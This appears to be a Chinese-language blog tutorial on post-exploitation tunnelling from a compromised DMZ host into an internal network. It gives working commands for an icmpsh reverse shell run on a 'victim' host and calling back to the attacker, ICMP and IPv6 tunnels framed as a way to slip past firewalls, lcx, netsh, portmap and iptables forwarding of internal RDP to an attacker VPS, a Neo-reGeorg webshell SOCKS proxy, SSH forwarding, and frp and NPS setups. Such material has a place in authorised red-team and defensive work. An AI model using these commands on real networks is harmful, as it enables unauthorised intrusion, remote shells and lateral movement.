点击蓝字关注我哦
1.前言
当我们在外网打下一个点,通过arp,netstat,以及ifconifg(ipconfig)等信息收集,发现此点为dmz,可通内网,那么这时候我们需要在此点上搭建通向内网的隧道,为内网渗透打下坚实基础。
2. 常用隧道分类
根据不同层的网络协议,大致分为以下几种常用的隧道:
2.1 应用层
- ssh隧道
- http(https)隧道
- dns隧道
2.2 传输层
- tcp隧道
- udp隧道
- 常规端口转发
2.3 网络层
- Ipv6隧道
- icmp隧道
- gre隧道
3.判断哪些流量能出网
拿到一个点,并不是一上来就frp,frp虽然稳定,但是遇到一些特殊情况也不是很好用,如果遇到web服务器是通过端口映射出来的,本身主机不出网,这时候就得用webshell代理流量,当然还有一种,需要通过特定代理的服务器才能出网,这时候可以做浏览器的信息收集,这种情况外网资产扫端口也可以见,nmap扫出来的服务为sockets或者proxy服务什么的。
综合判断几种协议的出网情况
3.1 icmp协议
ping 命令
3.2 Http协议
linux:
- wget 命令
- curl 命令
Windows:
- telnet
- 浏览器
3.3 dns协议:
指向外网的vps作为dns服务器解析域名
Windows
Nslookup baidu.com vps
Linux
dig@vps Baidu.com
4.搭建隧道实战
4.1 搭建ipv6隧道
前提:支持ipv6,通过ipconfig(ifconfig)看有没有ipv6的地址
特点:过安全设备,防火墙奇效
原理:把ipv6协议封装数据包后继续用ipv4封装,本质在网络中传输还是ipv4,一些安全设备和防火墙不支持ipv6,所以就算拿到了进行分析也解不了包。
这里我以6tunnel为例:
代码语言:javascript复制github:https://github.com/wojtekka/6tunnel
gcc编译
端口转发:
命令:
代码语言:javascript复制./6tunnel -4 80 需要转发的ipv6%eth0 80#将ipv6地址80端口转发到本地ipv4来,你也可以换成-6
注意:ipv6隧道可以从ipv6地址到ipv6地址,也可以从ipv4地址到ipv6地址,但不能从ipv6到ipv4。如果从本机的ipv6地址到目标机的ipv4,测试抓到的包是ipv4的包,并不会对数据包进行ipv6封装,%是制定网卡
访问ipv6地址时需指定网卡,例如http://[fe80::xxxx:xxxx%eth0],或者curl -6 -g --interface eth0 "http://[fe80::20c:29ff:fe0f:57ba]:80" -vvv
4.2 搭建icmp隧道
前提:防火墙waf有允许icmp包文通过,关闭系统icmp自动答复,安装python-impacket
特点:简单,实用
原理:将tcp/udp 数据封装到icmp的ping数据包中,从而建立通信
代码语言:javascript复制github:https://github.com/bdamele/icmpsh
反弹shell:
关闭本地的icmp应答:
代码语言:javascript复制sysctl -w net.ipv4.icmp_echo_ignore_all=1
本地主机监听:
代码语言:javascript复制python icmpsh_m.py 192.168.75.131(本地ip) 192.168.75.132(受害者ip)
在受害者主机运行:
代码语言:javascript复制icmpsh.exe -t 192.168.75.131(攻击者)
端口转发:
使用的是:ptunnel kali自带
需要安装一些依赖库
代码语言:javascript复制libpcap环境
libpcap依赖库
wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
在攻击vps上执行:
代码语言:javascript复制ptunnel -p 182.17.13.17(跳板机外网ip) -lp 8888 -da 10.10.10.18(内网需要转发端口的ip) -dp 3389 -x Gamma
在跳板机上执行:
代码语言:javascript复制ptunnel -x Gamma
内网10.10.10.18 3389端口就被转发到攻击vps的8888端口了
4.3 icmp隧道搭建
安装icmptunnel
代码语言:javascript复制git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
客户端和服务器需同时禁用icmp答复
代码语言:javascript复制sysctl -w net.ipv4.icmp_echo_ignore_all=1
这里攻击者为服务端,受害者为客户端
服务端配置:
代码语言:javascript复制./icmptunnel -s#以服务端启动
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0 #配置一个ip
客户端配置:
代码语言:javascript复制./icmptunnel 192.168.75.131(服务端ip)
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0 #配置一个ip
那么就可以隧道进行通信了
4.4 tcp端口转发
windows:
工具:lcx.exe netsh .........
把内网主机的 3389 端口转发到具有公网ip主机的 4444 端口
代码语言:javascript复制lcx.exe -slave 公网ip 8888 内网ip 3389
本地搭建端口之间的隧道
代码语言:javascript复制lcx.exe –listen 8888 3389#本地3389和8888端口进行连接
netsh仅支持TCP协议, 适用于双网卡服务器
代码语言:javascript复制#查看现有规则
netsh interface portproxy show all
#添加转发规则
netsh interface portproxy set v4tov4 listenaddress=外网IP listenport=6666 connectaddress=内网IP connectport=3389
#删除转发规则
netsh interface portproxy delete v4tov4 listenport=6666
#xp需要安装ipv6
netsh interface ipv6 install
连接外网6666端口,就是连接到内网目标上面的3389。
linux:
代码语言:javascript复制./portmap -m 2 -p1 4444 -h2 公网主机ip -p2 3389
将4444端口的流量转发到3389端口
代码语言:javascript复制./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网主机ip -p2 4444#内网主机执行
把内网的22端口转发到外网的3389端口
linux iptables使用:
代码语言:javascript复制vi /etc/sysctl.conf
net.ipv4.ip_forward = 1#开启IP转发
#关闭服务
service iptables stop
#需要访问的内网地址:10.1.1.11(Windows)
#内网边界web服务器:192.168.100.100(Linux)
iptables -t nat -A PREROUTING --dst 192.168.100.100 -p tcp --dport 3389 -j DNAT--to-destination 10.1.1.11:3389iptables -t nat -A POSTROUTING --dst 10.1.1.11 -p tcp --dport 3389 -j SNAT --to-source 192.168.100.100
#保存重启服务
service iptables save && service iptables start
4.5 webshell代理工具
配合Webshell,复用目标的Web服务端口开一个Socks5代理隧道。
https://github.com/L-codes/Neo-reGeorg
代码语言:javascript复制#生成服务端
python3 neoreg.py generate -k password
#在本地建立Socks5代理
python3 neoreg.py -k password -u http://xx/tunnel.php
还可以用作端口转发,把webshell所在主机的端口转发到本地(不出网的情况很好用),请自行探索
4.6 ssh隧道
SSH一般是允许通过防火墙的,而且传输过程是加密的
本地转发(正向)
在中传VPS上执行以下命令
代码语言:javascript复制ssh -CfNg -L <VPS监听端口>:<目标内网IP>:<目标端口> root@目标外网Web服务器(会要求输入密码)
ssh -CfNg -L 8080:10.1.1.3:3389 root@100.100.1.100
#VPS上查看8090端口是否已经连接
netstat -tulnp | grep "8090"
#连接目标内网服务器的远程桌面
VPS-IP:8090
远程转发(反向)
在Web服务器上执行如下命令
代码语言:javascript复制ssh -CfNg -R <VPS的端口>:<目标内网IP>:<目标端口> root@VPS-IP(会要求输入密码)
ssh -CfNg -R 8090:10.1.1.3:3389 root@192.168.0.1
访问VPS的8090端口,即可连接内网数据库服务器的3389
4.7 Frp搭建隧道:
github:https://github.com/fatedier/frp
简单地说,frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务,它支持HTTP、TCP、UDP等众多协议。
端口转发:
服务端配置文件frps.init:
代码语言:javascript复制[common]
bind_port = 7000
token = server_pass
客户端配置文件:
代码语言:javascript复制[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[rdp]
type = tcp #流量类型
local_ip = 内网ip # 局域网地址,可以是非本机ip
local_port = 3389#要转发的端口
remote_port = 7001#远程端口
plugin =socks5
访问vps 7001 则访问内网3389端口
启动的话就一个服务器./frps -c frps.ini 一个客户端./frpc -c frpc.ini
socks5代理更简单了:
客户端配置:
代码语言:javascript复制[common]
server_addr = x.x.x.x
server_port = 7000
token = server_pass
[socks_proxy]
type = tcp #流量类型
remote_port = 7001#远程端口
plugin =socks5
4.8 搭建NPS隧道:
frp不行,又不会改流量特征,可以用用nps
使用步骤:
开启服务端,假如公网服务器ip为1.1.1.1,配置文件中bridge_port为8024,配置文件中web_port为8080
访问1.1.1.1:8080
在客户端管理中创建一个客户端,记录下验证密钥
内网客户端运行(windows使用cmd运行加.exe)
1、下载nps服务端到自己的VPS(https://ehang-io.github.io/nps)
代码语言:javascript复制chmod x nps
sudo ./nps install #安装
2.修改配置文件(敏感信息改掉/etc/nps/conf/nps.conf,原本的配置文件挺长的,运行反而会报错,直接替换成以下的文件
代码语言:javascript复制appname = nps
#Boot mode(dev|pro)
runmode = dev
##bridge
# 底层通信协议,默认tcp,可选用kcp
bridge_type=tcp
# 底层通信端口,默认8024,如已被占用请指定其他端口
bridge_port=8024
bridge_ip=0.0.0.0
# 当客户端以配置文件模式启动时会用到的验证密钥,可自行设置,本教程不会使用到
public_vkey=<你的通信密钥>
#web
web_host=<服务器IP或域名>
web_username=<设置用户名>
web_password=<设置密码>
web_port = <网页面板端口>
web_ip=0.0.0.0
3.开启服务端
代码语言:javascript复制sudo nps start #启动
sudo nps stop #停止
sudo nps reload #服务端配置文件重载
4.访问vpsip s:8080,在客户端管理中创建一个客户端,记录下验证密钥(也可以不设置,则会默认生成)
选择客户端通过配置文件连接为否,不然可能会配置冲突,点击新增,新增成功
可以直接看到客户端启动命令可以直接复制。
下载对应的客户端,因为我这里下载的服务端为linux_amd64,则下载windows_amd64
运行命令可以看到连接成功。
web界面也可以看到主机上线
下一步就能对客户端进行操作了:
直接点击隧道选项,对该客户端进行操作……
非常的好用嗷!
当然小众的一些代理工具会更好用,给自己立个flag,自己开发一个代理工具
END